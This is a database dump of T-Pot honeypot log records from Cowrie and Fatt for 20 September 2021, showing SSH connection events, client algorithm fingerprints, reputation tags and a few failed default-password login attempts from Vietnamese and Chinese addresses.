21649	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:50.642667+03	2021-09-20 14:15:03.930612+03	{"_id": "7wbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:34752 (192.168.176.2:22) [session: 19325238ed3b]", "session": "19325238ed3b", "@version": "1", "protocol": "ssh", "src_port": 34752, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.642667Z", "@timestamp": "2021-09-20T11:06:50.642Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21617	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:34.377392+03	2021-09-20 14:15:03.888612+03	{"_id": "HAbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33230, "dest_port": 22, "timestamp": "2021-09-20T11:06:34.377392", "@timestamp": "2021-09-20T11:06:34.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21618	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:34.454245+03	2021-09-20 14:15:03.889613+03	{"_id": "HQbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33858, "dest_port": 22, "timestamp": "2021-09-20T11:06:34.454245", "@timestamp": "2021-09-20T11:06:34.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21619	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:34.828878+03	2021-09-20 14:15:03.891614+03	{"_id": "HgbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33898, "timestamp": "2021-09-20T11:06:34.828878", "@timestamp": "2021-09-20T11:06:34.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21620	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:34.28229+03	2021-09-20 14:15:03.892613+03	{"_id": "HwbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [ubuntu/ubuntu] failed", "session": "42d94f72ba41", "@version": "1", "password": "ubuntu", "username": "ubuntu", "timestamp": "2021-09-20T11:06:34.282290Z", "@timestamp": "2021-09-20T11:06:34.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21621	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:34.284489+03	2021-09-20 14:15:03.894612+03	{"_id": "IAbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "223.241.247.214", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5955264568328857, "duplicate": true, "timestamp": "2021-09-20T11:06:34.284489Z", "@timestamp": "2021-09-20T11:06:34.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21622	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:34.390839+03	2021-09-20 14:15:03.895612+03	{"_id": "IQbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "965c39e184d7", "@version": "1", "timestamp": "2021-09-20T11:06:34.390839Z", "@timestamp": "2021-09-20T11:06:34.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21623	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.454182+03	2021-09-20 14:15:03.896612+03	{"_id": "IgbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8a93ac589f64", "@version": "1", "duration": 2.4427731037139893, "timestamp": "2021-09-20T11:06:34.454182Z", "@timestamp": "2021-09-20T11:06:34.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21624	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.456818+03	2021-09-20 14:15:03.897613+03	{"_id": "IwbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "def525b016c4", "@version": "1", "timestamp": "2021-09-20T11:06:34.456818Z", "@timestamp": "2021-09-20T11:06:34.456Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21625	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.512563+03	2021-09-20 14:15:03.899613+03	{"_id": "JAbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [oper/oper] failed", "session": "12375781cb9c", "@version": "1", "password": "oper", "username": "oper", "timestamp": "2021-09-20T11:06:34.512563Z", "@timestamp": "2021-09-20T11:06:34.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
